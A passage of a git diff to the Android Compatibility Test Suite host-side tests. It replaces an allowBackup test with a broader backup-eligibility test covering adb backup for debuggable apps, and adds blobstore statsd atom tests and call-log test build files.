diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
deleted file mode 100644
index d8ceb0f..0000000
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertNull;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test checking that allowBackup manifest attribute is respected by backup manager.
- *
- * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
- *
- * Tests 2 scenarios:
- *
- * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
- * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
- *
- * The flow of the tests is the following:
- * 1. Install the app
- * 2. Generate files in the app's data folder.
- * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
- * 'Backup is not allowed' in the output.
- * 4. Uninstall/reinstall the app
- * 5. Check whether the files were restored or not depending on the manifest.
- *
- * Invokes device side tests provided by
- * android.cts.backup.backupnotallowedapp.AllowBackupTest.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-@AppModeFull
-public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
-
-    private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
-    private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
-            ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
-
-    /** The name of the APK of the app that has allowBackup=false in the manifest */
-    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
-
-    /** The name of the APK of the app that doesn't have allowBackup in the manifest
-     * (same as allowBackup=true by default) */
-    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
-
-    @After
-    public void tearDown() throws Exception {
-        // Clear backup data and uninstall the package (in that order!)
-        clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-    }
-
-    @Test
-    public void testAllowBackup_False() throws Exception {
-        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
-        // Generate the files that are going to be backed up.
-        checkAllowBackupDeviceTest("createFiles");
-
-        getBackupUtils().backupNowAndAssertBackupNotAllowed(ALLOWBACKUP_APP_NAME);
-
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
-        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
-        checkAllowBackupDeviceTest("checkNoFilesExist");
-    }
-
-    @Test
-    public void testAllowBackup_True() throws Exception {
-        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
-        // Generate the files that are going to be backed up.
-        checkAllowBackupDeviceTest("createFiles");
-
-        // Do a backup
-        getBackupUtils().backupNowAndAssertSuccess(ALLOWBACKUP_APP_NAME);
-
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
-        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
-        checkAllowBackupDeviceTest("checkAllFilesExist");
-    }
-
-    private void checkAllowBackupDeviceTest(String methodName)
-            throws DeviceNotAvailableException {
-        checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
-                methodName);
-    }
-
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
new file mode 100644
index 0000000..7993030
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test verifying backup eligibility rules are respected.
+ *
+ * <p>Tests the following scenarios:
+ * <ol>
+ *   <li>App that has {@code allowBackup=false} in the manifest shouldn't be backed up by {@code
+ *       adb shell bmgr}.
+ *   <li>App that doesn't have {@code allowBackup} in the manifest (default is true) should be
+ *       backed up by {@code adb shell bmgr}.
+ *   <li>App that has {@code debuggable=true} in the manifest should be backed up by {@code adb
+ *       backup}.
+ *   <li>App that has {@code debuggable=false} in the manifest shouldn't be backed up by in
+ *       {@code adb backup}.
+ * </ol>
+ *
+ * <p>Invokes device side tests provided by
+ * {@link android.cts.backup.backupnotallowedapp.BackupEligibilityTest} and
+ * {@link android.cts.backup.adbbackupapp.AdbBackupApp}.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class BackupEligibilityHostSideTest extends BaseBackupHostSideTest {
+    private static final String BACKUP_ELIGIBILITY_APP_NAME
+            = "android.cts.backup.backupeligibilityapp";
+    private static final String ADB_BACKUP_APP_NAME = "android.cts.backup.adbbackupapp";
+    private static final String BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME =
+            BACKUP_ELIGIBILITY_APP_NAME + ".BackupEligibilityTest";
+    private static final String ADB_BACKUP_DEVICE_SIDE_CLASS_NAME =
+            ADB_BACKUP_APP_NAME + ".AdbBackupApp";
+    private static final String BACKUP_RESTORE_CONFIRMATION_PACKAGE = "com.android.backupconfirm";
+    private static final String ADB_BACKUP_FILE = "adb_backup_file.ab";
+
+    /** The name of the APK of the app that has allowBackup=false in the manifest */
+    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+    /** The name of the APK of the app that doesn't have allowBackup in the manifest
+     * (same as allowBackup=true by default) */
+    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+    /** The name of the APK of the app that has {@code debuggable=false} in the manifest. */
+    private static final String DEBUGGABLE_FALSE_APP_APK = "NonDebuggableApp.apk";
+    /** The name of the APK of the app that has {@code debuggable=true} in the manifest. */
+    private static final String DEBUGGABLE_TRUE_APP_APK = "DebuggableApp.apk";
+    private static final String ADB_BACKUP_APP_APK = "AdbBackupApp.apk";
+
+    @After
+    public void tearDown() throws Exception {
+        // Clear backup data and uninstall the package (in that order!)
+        clearBackupDataInLocalTransport(BACKUP_ELIGIBILITY_APP_NAME);
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code bmgr backupnow} and assert 'Backup is not allowed' is printed.
+     *   <li>Uninstall / reinstall the app
+     *   <li>Assert no files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAllowBackup_False() throws Exception {
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkBackupEligibilityDeviceTest("createFiles");
+
+        getBackupUtils().backupNowAndAssertBackupNotAllowed(BACKUP_ELIGIBILITY_APP_NAME);
+
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        checkBackupEligibilityDeviceTest("checkNoFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code bmgr backupnow} and assert 'Success' is printed.
+     *   <li>Uninstall / reinstall the app.
+     *   <li>Assert the files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAllowBackup_True() throws Exception {
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkBackupEligibilityDeviceTest("createFiles");
+
+        // Do a backup
+        getBackupUtils().backupNowAndAssertSuccess(BACKUP_ELIGIBILITY_APP_NAME);
+
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        checkBackupEligibilityDeviceTest("checkAllFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code adb backup}.
+     *   <li>Uninstall / reinstall the app.
+     *   <li>Run {@code adb restore}.
+     *   <li>Assert no files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAdbBackup_offForNonDebuggableApp() throws Exception {
+        installPackage(DEBUGGABLE_FALSE_APP_APK, "-d", "-r");
+
+        runAdbBackupAndRestore();
+
+        checkBackupEligibilityDeviceTest("checkNoFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code adb backup}.
+     *   <li>Clear data for the app.
+     *   <li>Run {@code adb restore}.
+     *   <li>Assert the files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAdbBackup_onForDebuggableApp() throws Exception {
+        installPackage(DEBUGGABLE_TRUE_APP_APK, "-d", "-r");
+
+        runAdbBackupAndRestore();
+
+        checkBackupEligibilityDeviceTest("checkAllFilesExist");
+    }
+
+    private void runAdbBackupAndRestore() throws Exception {
+        installPackage(ADB_BACKUP_APP_APK, "-d", "-r");
+
+        try {
+            // Generate the files that are going to be backed up.
+            checkBackupEligibilityDeviceTest("createFiles");
+            runAdbCommand("backup", "-f", ADB_BACKUP_FILE, BACKUP_ELIGIBILITY_APP_NAME);
+            checkBackupEligibilityDeviceTest("deleteFilesAndAssertNoneExist");
+            runAdbCommand("restore", ADB_BACKUP_FILE);
+        } finally {
+            assertNull(uninstallPackage(ADB_BACKUP_APP_NAME));
+        }
+    }
+
+    private void checkBackupEligibilityDeviceTest(String methodName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(BACKUP_ELIGIBILITY_APP_NAME, BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME,
+                methodName);
+    }
+
+    private void runAdbCommand(String... arguments) throws Exception {
+        ITestDevice device = getDevice();
+
+        try {
+            // Close the backup confirmation window in case there's already one floating around for
+            // any reason.
+            device.executeShellCommand("am force-stop " + BACKUP_RESTORE_CONFIRMATION_PACKAGE);
+        } catch (Exception e) {
+            CLog.w("Error while trying to force-stop backup confirmation: " + e.getMessage());
+            // Keep going
+        }
+
+        Thread restore = new Thread(() -> {
+            try {
+                device.executeAdbCommand(arguments);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
+        restore.start();
+        runDeviceSideProcedure(ADB_BACKUP_APP_NAME, ADB_BACKUP_DEVICE_SIDE_CLASS_NAME,
+                /* procedureName */ "clickAdbBackupConfirmButton");
+        restore.join();
+    }
+
+    private void runDeviceSideProcedure(String packageName, String className,
+            String procedureName) throws Exception {
+        checkDeviceTest(packageName, className, procedureName);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
index 89e2539..95d3b9a 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
@@ -107,7 +107,7 @@
      *
      * <ol>
      *   <li>Install 3 test packages on the device
-     *   <li>Write dummy values to shared preferences for each package
+     *   <li>Write test values to shared preferences for each package
      *   <li>Backup each package (adb shell bmgr backupnow)
      *   <li>Clear shared preferences for each package
      *   <li>Run restore for the first {@code numPackagesToRestore}, verify only those are restored
@@ -120,7 +120,7 @@
         installPackage(getApkNameForTestApp(2));
         installPackage(getApkNameForTestApp(3));
 
-        // Write dummy value to shared preferences for all test packages.
+        // Write test values to shared preferences for all test packages.
         checkRestoreSessionDeviceTestForAllApps("testSaveValuesToSharedPrefs");
         checkRestoreSessionDeviceTestForAllApps("testCheckSharedPrefsExist");
 
diff --git a/hostsidetests/blobstore/Android.bp b/hostsidetests/blobstore/Android.bp
index cb27282..4e4349a 100644
--- a/hostsidetests/blobstore/Android.bp
+++ b/hostsidetests/blobstore/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsBlobStoreHostTestCases",
     defaults: ["cts_defaults"],
@@ -26,6 +22,9 @@
         "tradefed",
         "truth-prebuilt"
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index 2369ec0..8fefcb2 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -75,6 +75,11 @@
                 runDeviceTests(deviceTestRunOptions)).isTrue();
     }
 
+    protected long getDeviceTimeMs() throws Exception {
+        final String timeMs = getDevice().executeShellCommand("date +%s%3N");
+        return Long.parseLong(timeMs.trim());
+    }
+
     protected void rebootAndWaitUntilReady() throws Exception {
         // TODO: use rebootUserspace()
         getDevice().reboot(); // reboot() waits for device available
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
new file mode 100644
index 0000000..1af2515
--- /dev/null
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/StatsdBlobStoreAtomTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.host.blob;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StatsdBlobStoreAtomTest extends BaseBlobStoreHostTest {
+    private static final String TEST_CLASS = TARGET_PKG + ".AtomTest";
+
+    // Constants that match the constants for AtomTests#testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+    private int mTestAppUid;
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage(TARGET_APK);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        mTestAppUid = DeviceUtils.getAppUid(getDevice(), TARGET_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        uninstallPackage(TARGET_PKG);
+    }
+
+    @Test
+    public void testPushedBlobStoreStats() throws Exception {
+        final StatsdConfigProto.StatsdConfig.Builder conf =
+                ConfigUtils.createConfigBuilder(TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_COMMITTED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_LEASED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.addEventMetricForUidAtom(conf, AtomsProto.Atom.BLOB_OPENED_FIELD_NUMBER,
+                /*useUidAttributionChain=*/ false, TARGET_PKG);
+        ConfigUtils.uploadConfig(getDevice(), conf);
+
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+
+        final List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(3);
+
+        final AtomsProto.BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+        final long blobId = blobCommitted.getBlobId();
+        final long blobSize = blobCommitted.getSize();
+        assertThat(blobCommitted.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobId).isGreaterThan(0L);
+        assertThat(blobSize).isGreaterThan(0L);
+        assertThat(blobCommitted.getResult()).isEqualTo(AtomsProto.BlobCommitted.Result.SUCCESS);
+
+        final AtomsProto.BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+        assertThat(blobLeased.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+        assertThat(blobLeased.getResult()).isEqualTo(AtomsProto.BlobLeased.Result.SUCCESS);
+
+        final AtomsProto.BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+        assertThat(blobOpened.getUid()).isEqualTo(mTestAppUid);
+        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+        assertThat(blobOpened.getResult()).isEqualTo(AtomsProto.BlobOpened.Result.SUCCESS);
+    }
+
+    @Test
+    public void testPulledBlobStoreStats() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), TARGET_PKG,
+                AtomsProto.Atom.BLOB_INFO_FIELD_NUMBER);
+
+        final long testStartTimeMs = getDeviceTimeMs();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testBlobStoreOps");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Add commit callback time to test end time to account for async execution
+        final long testEndTimeMs =
+                getDeviceTimeMs() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+        // Find the BlobInfo for the blob created in the test run
+        AtomsProto.BlobInfo blobInfo = null;
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            if (atom.hasBlobInfo()) {
+                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+                if (temp.getCommitters().getCommitter(0).getUid() == mTestAppUid) {
+                    blobInfo = temp;
+                    break;
+                }
+            }
+        }
+        assertThat(blobInfo).isNotNull();
+
+        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+        // Check that expiry time is reasonable
+        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+        // Check that commit time is reasonable
+        final long commitTimeMs = blobInfo.getCommitters().getCommitter(0)
+                .getCommitTimestampMillis();
+        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+        // Check that WHITELIST and PRIVATE access mode flags are set
+        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage())
+                .isEqualTo(1);
+
+        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(mTestAppUid);
+
+        // Check that lease expiry time is reasonable
+        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(0)
+                .getLeaseExpiryTimestampMillis();
+        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+    }
+}
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
new file mode 100644
index 0000000..3d57c35
--- /dev/null
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/AtomTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.device.blob;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.blob.BlobStoreManager;
+
+import com.android.utils.blob.FakeBlobData;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.google.common.io.BaseEncoding;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class AtomTest extends BaseBlobStoreDeviceTest {
+    // Constants for testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
+            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
+
+    @Test
+    public void testBlobStoreOps() throws Exception {
+        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
+
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
+                .setExpiryDurationMs(BLOB_EXPIRY_DURATION_MS)
+                .setFileSize(BLOB_FILE_SIZE_BYTES)
+                .build();
+
+        blobData.prepare();
+        try {
+            // Commit the Blob, should result in BLOB_COMMITTED atom event
+            commitBlob(blobData);
+
+            // Lease the Blob, should result in BLOB_LEASED atom event
+            mBlobStoreManager.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
+
+            // Open the Blob, should result in BLOB_OPENED atom event
+            mBlobStoreManager.openBlob(blobData.getBlobHandle());
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    private void commitBlob(FakeBlobData blobData) throws Exception {
+        final long sessionId = createSession(blobData.getBlobHandle());
+        try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+            blobData.writeToSession(session);
+            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
+
+            final CompletableFuture<Integer> callback = new CompletableFuture<>();
+            session.commit(mContext.getMainExecutor(), callback::complete);
+            assertWithMessage("Session failed to commit within timeout").that(
+                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
+        }
+    }
+}
diff --git a/hostsidetests/bootstats/Android.bp b/hostsidetests/bootstats/Android.bp
index 4f2c13e..b894fcf 100644
--- a/hostsidetests/bootstats/Android.bp
+++ b/hostsidetests/bootstats/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsBootStatsTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/calllog/Android.bp b/hostsidetests/calllog/Android.bp
new file mode 100644
index 0000000..59b6bac
--- /dev/null
+++ b/hostsidetests/calllog/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+    name: "CtsCallLogTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+
+    static_libs: [
+        "cts-host-utils",
+    ],
+}
diff --git a/hostsidetests/calllog/AndroidTest.xml b/hostsidetests/calllog/AndroidTest.xml
new file mode 100644
index 0000000..1e9822c
--- /dev/null
+++ b/hostsidetests/calllog/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- These tests explicitly handle multiuser switching themselves. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsCallLogTestCases.jar" />
+        <option name="runtime-hint" value="10m" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/calllog/OWNERS b/hostsidetests/calllog/OWNERS
new file mode 100644
index 0000000..bb4fb86
--- /dev/null
+++ b/hostsidetests/calllog/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 151185
+include platform/frameworks/base:/telecomm/OWNERS
diff --git a/hostsidetests/calllog/app/Android.bp b/hostsidetests/calllog/app/Android.bp
new file mode 100644
index 0000000..9f61f91
--- /dev/null
+++ b/hostsidetests/calllog/app/Android.bp
@@ -0,0 +1,36 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsCallLogDirectBootApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "truth-prebuilt",
+    ],
+    libs: ["android.test.base"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
